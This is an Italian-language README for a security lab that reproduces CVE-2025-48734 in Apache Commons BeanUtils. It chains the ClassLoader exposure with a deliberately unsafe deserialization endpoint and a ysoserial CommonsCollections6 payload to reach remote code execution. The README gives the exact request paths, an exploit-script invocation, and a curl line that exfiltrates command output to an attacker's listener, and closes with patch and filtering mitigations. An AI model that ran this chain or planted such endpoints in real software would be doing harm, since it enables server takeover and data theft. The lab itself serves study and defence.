
CVE-2025-48734 - Colpisce Apache Commons BeanUtils nelle versioni precedenti alla 1.11.0 (e il ramo 2.x prima della 2.0.0-M2).
Solo per scopi educativi e ricerche di sicurezza autorizzate.
Questo repository fornisce un ambiente di laboratorio controllato per riprodurre la vulnerabilità CVE-2025-48734 in Apache Commons BeanUtils ed esplorare come un attaccante potrebbe scalare fino all'esecuzione di codice remoto (RCE) in determinate condizioni.
CVE-2025-48734 colpisce Apache Commons BeanUtils nelle versioni precedenti alla 1.11.0 (e il ramo 2.x prima della 2.0.0-M2). Il problema risiede in PropertyUtilsBean, che consente l'accesso alla proprietà declaringClass degli enum Java tramite percorsi annidati (ad es., enum.declaringClass). Tutti gli enum ereditano il metodo getDeclaringClass() da java.lang.Enum, che BeanUtils espone come proprietà navigabile.
Un attaccante che può controllare il percorso della proprietà nelle chiamate a getProperty() o getNestedProperty() può:
ClassLoader dell'applicazione (tramite enum.declaringClass.classLoader).classLoader.URLs[n].⚠️ Importante: La vulnerabilità da sola non garantisce direttamente la RCE. Fornisce l'accesso al
ClassLoadere consente l'enumerazione del classpath, che devono essere concatenati con un endpoint di deserializzazione non sicuro e una libreria gadget vulnerabile per ottenere l'esecuzione di codice. Vedere la sezione Analisi dettagliata dell'exploit.
Punteggio CVSS: 8.8 (Alto) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Il laboratorio è composto da due componenti:
Un servizio Spring Boot che espone i seguenti endpoint:
GET /api/property?path=<property-path> — legge una proprietà annidata utilizzando PropertyUtilsBean.getNestedProperty() senza sanitizzazione. Questo è il punto di ingresso della CVE.GET /api/nested-set?path=<path>&value=<value> — scrive proprietà annidate (anch'esso vulnerabile).POST /api/data/import — accetta oggetti Java serializzati grezzi (application/octet-stream) e li deserializza senza validazione. Questo è il vettore di consegna della RCE.Il bean target è un oggetto Order contenente un enum Status. Ciò consente di costruire la catena status.declaringClass.classLoader.
Nota: L'endpoint
/api/data/importnon fa parte di CVE-2025-48734. È incluso per simulare uno scenario realistico in cui un endpoint di deserializzazione vulnerabile coesiste con la CVE. In un'applicazione reale, questo tipo di endpoint compare in integrazioni legacy, API interne o middleware configurati in modo errato.
| Libreria | Versione | Ruolo nella catena |
|---|---|---|
commons-beanutils | 1.9.4 | Punto di ingresso per CVE-2025-48734 |
commons-collections | 3.2.2 | Catena gadget di deserializzazione |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
Lo script installa le dipendenze, compila il progetto, lo registra come servizio systemd e lo avvia automaticamente. L'applicazione rimane in ascolto su 0.0.0.0:8080.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
Lo script installa le dipendenze e scarica ysoserial.
L'exploit è completamente automatizzato in un singolo script che impone il corretto ordine delle fasi. Ogni fase è un prerequisito per la successiva.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
Lo script verifica status.declaringClass e status.declaringClass.classLoader. Se uno dei due è bloccato, lo script si interrompe — l'applicazione è patchata e la catena non può procedere.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
Utilizzando il riferimento al ClassLoader ottenuto nella Fase 1, lo script itera classLoader.URLs[n] per elencare tutti i JAR caricati e cerca Commons Collections 3.x. Se non viene trovato, lo script si interrompe — nessuna catena gadget disponibile.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
Con una catena gadget confermata, lo script esegue il fuzzing dei comuni endpoint di import/sync inviando i magic bytes di serializzazione Java (0xACED0005) e identifica gli endpoint che tentano ObjectInputStream.readObject() in base al pattern delle risposte. Se non viene trovato alcun endpoint, lo script si interrompe.
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial genera un payload CommonsCollections6 (il più portabile per Java 11+) e lo invia all'endpoint rilevato.
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
Il comando viene eseguito sul server durante la deserializzazione, prima che la risposta venga restituita. L'output può essere esfiltrato reindirizzandolo a un file o tramite callback HTTP:
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
La CVE non è un vettore di RCE diretto — è il perno di ricognizione che rende possibile il resto della catena:
Without CVE-2025-48734:
→ No ClassLoader access
→ No classpath enumeration
→ No way to confirm Commons Collections 3.x is present
→ No reason to look for a deserialization endpoint
→ Chain broken at the start
With CVE-2025-48734:
→ ClassLoader exposed
→ Full classpath visible via URLs[n]
→ Commons Collections 3.x confirmed
→ Deserialization endpoint discovered via fuzzing
→ RCE achieved
Le tre condizioni che devono allinearsi per la RCE completa:
| Condizione | Questo laboratorio | Mondo reale |
|---|---|---|
| BeanUtils < 1.11.0 con input di percorso non filtrato | ✅ | Comune nelle app legacy |
| Libreria gadget nel classpath (CC 3.x) | ✅ | Frequente nel Java enterprise |
Aggiornare Commons BeanUtils:
| Artifact | Vulnerabile | Sicuro |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
In pom.xml:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
Due mitigazioni complementari:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
Dopo aver aggiornato BeanUtils alla 1.11.0, ricompilare e riavviare il servizio. Eseguire lo script di exploit — dovrebbe interrompersi alla Fase 1:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
Questo strumento è fornito solo per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi che non si possiedono o per i quali non si dispone di un'esplicita autorizzazione scritta al test è illegale. L'autore non è responsabile di qualsiasi uso improprio.
| Endpoint di deserializzazione non sicuro | ✅ | Meno comune, ma presente nelle integrazioni legacy/middleware |